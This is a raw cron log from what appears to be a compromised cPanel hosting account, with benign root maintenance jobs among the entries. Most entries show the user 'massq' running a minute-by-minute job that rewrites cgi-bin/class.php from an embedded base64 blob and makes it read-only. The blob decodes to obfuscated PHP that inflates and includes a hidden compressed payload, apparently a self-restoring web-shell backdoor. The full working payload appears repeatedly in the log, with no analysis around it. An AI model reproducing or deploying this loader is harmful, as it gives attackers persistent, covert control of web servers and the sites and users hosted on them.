Nov  9 05:13:01 server CROND[27935]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:14:01 server CROND[28727]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:15:01 server CROND[29546]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:15:01 server CROND[29547]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 05:15:01 server CROND[29548]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 05:16:01 server CROND[30467]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:17:01 server CROND[31422]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:18:01 server CROND[32367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:19:01 server CROND[727]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:20:01 server CROND[1531]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 05:20:01 server CROND[1533]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 05:20:01 server CROND[1536]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 05:20:01 server CROND[1535]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:20:01 server CROND[1534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 05:21:01 server CROND[2334]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:22:01 server CROND[2883]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:23:01 server CROND[3777]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:24:01 server CROND[4582]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:25:01 server CROND[5450]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 05:25:01 server CROND[5451]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 05:25:01 server CROND[5452]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
